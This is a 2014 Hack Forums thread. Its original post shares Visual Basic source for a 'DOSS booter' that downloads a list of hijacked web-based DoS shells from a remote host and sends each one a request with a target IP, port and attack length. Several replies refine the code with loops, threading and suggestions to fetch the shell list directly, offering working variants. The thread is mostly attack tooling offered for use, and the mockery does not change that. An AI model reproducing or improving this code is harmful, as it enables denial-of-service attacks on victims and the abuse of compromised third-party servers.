

Forum:[Hack Forums](#)

Thread: [Load DOS shells from txt file& send request to all of them](#)

mc-dope - September 28, 2014, 1:03 pm

hello, i have been working on a DOSS booter program using visual basic that downloads a text file with the a list of links to DOS shells hosted on the web, it then sends out a request to all of them with a custom url with custom info like IP,PORT,TIME depending on what the user has written in the textboxes.

it works by importing the text file then setting a richtextbox text to the imported txt file contents(contents = a DOS shell link per line) then it sets a list of variables to each line of the richtextbox then when the attack button is clicked it sends out requests with the custom info that the user has inputted in the 3 textboxes (IP,PORT,TIME).

the shell formate in the code bellow is:

`http//site.com/blah/shell.php?ip=blah&port=blah&length=blah`

textfile should be a link to a DOS Shell per line text file should be like:

Code `http//site1.com/blah/shell.php?ip=`

`http//site2.com/blah/shell.php?ip=`

`http//site3.com/blah/shell.php?ip=`

ect...Source Code :

(Make the richtextbox invisible/hidden)

Imports :

Code Imports System.Net

Imports System.Text

Imports System.Net.Sockets

Public Class Code :

Code Dim GetShells As New WebClient

Form Load Code(When Form Opens) :

Code RichTextBox1.Text = GetShells.DownloadString("https://host.com/blahlbah/list of shells.txt")

Attack Button Code :

Code ip = TextBox1.Text

port = TextBox2.Text

time = TextBox3.Text

`Array.ForEach(RichTextBox1.Lines, Function(l) New Net.WebClient().DownloadString(l & ip & "&port=" & port & "&length=" & time))`

+Haze - September 28, 2014, 1:07 pm

This has to be by far the worst piece of code I've ever seen in this section.

" DOSS booter program" lol just leave pls.

Loops and arrays were made for a reason you know.

Only3 - September 28, 2014, 1:08 pm

haha

loops array

<http://www.dotnetperls.com/for-each-vbnet>

<http://www.java2s.com/Code/VB/Data-Structure/TwoWaystoloopthroughArray.htm>

M2K - September 28, 2014, 1:11 pm

Instead of criticizing, imma try to help you.
try adding a for loop for your shell listing.
using threading for your web attack

Only3 - September 28, 2014, 1:18 pm

try this

```
RichTextBox1.Lines = IO.File.ReadAllLines("Shell.txt")  
Array.ForEach(RichTextBox1.Lines, Function(l) New Net.WebClient().DownloadString(l & ip &  
"&port=" & port & "&length=" & time))
```

\$lick - September 28, 2014, 1:22 pm

Also a little threading wouldn't hurt. ([Click to View](#))

TheBarret - September 28, 2014, 1:26 pm

(Sep 28, 2014 01:22 PM)?Lazy™ Wrote: ([CITE](#)) Also a little threading wouldn't hurt. ([Click to View](#))
Lazy i think we found our number 3. for the list, dont you think?

Only3 - September 28, 2014, 1:26 pm

(Sep 28, 2014 01:22 PM)?Lazy™ Wrote: ([CITE](#)) Also a little threading wouldn't hurt. ([Click to View](#))
? threading ? is it just me or its just not there ?

\$lick - September 28, 2014, 1:27 pm

(Sep 28, 2014 01:26 PM)TheBarret Wrote: ([CITE](#)) Lazy i think we found our number 3. for the list,
dont you think?
This thread is a little to much to quote.

I would need to find a really juicy bit.

+Haze - September 28, 2014, 1:30 pm

(Sep 28, 2014 01:22 PM)?Lazy™ Wrote: ([CITE](#)) Also a little threading wouldn't hurt. ([Click to View](#))
No need to download string in this case since your're not doing anything with the downloaded
string. You should just create a webrequest for each shell instead. Just saying..

\$lick - September 28, 2014, 1:32 pm

(Sep 28, 2014 01:30 PM)+Haze Wrote: ([CITE](#)) No need to download string in this case since your're
not doing anything with the downloaded string. You should just create a webrequest for each shell
instead. Just saying..

Yeah I know, I was giving OP an example of using subs. (As he seemed to not know how to)
My intention was not to recode his entire project for him.

The lack of webrequests is not the only thing wrong with the code I posted.

Cornflower Blue ???-? - September 28, 2014, 1:33 pm

(Sep 28, 2014 01:32 PM)?Lazy™ Wrote: ([CITE](#)) Yeah I know, I was giving OP an example of using
subs. (As he seemed to not know how to)
My intention was not to recode his entire project for him.

The lack of webrequests is not the only thing wrong with the code I posted.

I noticed you spelled 'com' wrong, you have a U instead of an O.

+Haze - September 28, 2014, 1:42 pm

(Sep 28, 2014 01:32 PM)?Lazy™ Wrote: [\[CITE\]](#) Yeah I know, I was giving OP an example of using subs. (As he seemed to not know how to)

My intention was not to recode his entire project for him.

The lack of webrequests is not the only thing wrong with the code I posted.

Oooh I see. Fair enough. Something for him to learn from.

Only3 - September 28, 2014, 1:50 pm

if u gona download the list from url u can use it directly

```
Dim Wc As New Net.WebClient
Array.ForEach(Wc.DownloadString("https://host.com/shells.txt").Split(vbCrLf), Function(l)
Wc.UploadString(l & ip & "&port=" & port & "&length=" & time))
```

+Haze - September 28, 2014, 2:03 pm

(Sep 28, 2014 01:50 PM)Only3 Wrote: [\[CITE\]](#) if u gona download the list from url u can use it directly

```
Dim Wc As New Net.WebClient
Array.ForEach(Wc.DownloadString("https://host.com/shells.txt").Split(vbCrLf), Function(l)
Wc.UploadString(l & ip & "&port=" & port & "&length=" & time))
```

Mate. If OP can't even use a simple For Loop or array. What makes you think he'd understand what you're doing.

You love posting short code, I mean there's nothing wrong with it but just saying. It's not every-time you must post short code. Post something that is readable, I'm not saying I can't read it but you know what I mean.

mc-dope - September 28, 2014, 3:47 pm

(Sep 28, 2014 01:18 PM)Only3 Wrote: [\[CITE\]](#) try this

```
RichTextBox1.Lines = IO.File.ReadAllLines("Shell.txt")
Array.ForEach(RichTextBox1.Lines, Function(l) New Net.WebClient().DownloadString(l & ip &
"&port=" & port & "&length=" & time))
thanks for that(i way lazy with the code and didn't use an array)
```

Zero™ - September 28, 2014, 3:53 pm

PM me for a custom shell script loool noob program right here ^_^

Only3 - September 29, 2014, 12:43 am

i edit the last post to UploadString and forgot to change the args

```
Dim Wc As New Net.WebClient
For Each l In Wc.DownloadString("https://host.com/shells.txt").Split(vbCrLf)
    Wc.UploadString(l, ip & "&port=" & port & "&length=" & time)
Next
```

like all the codes i post its debug code so u need to use better declaration add error handling and dispose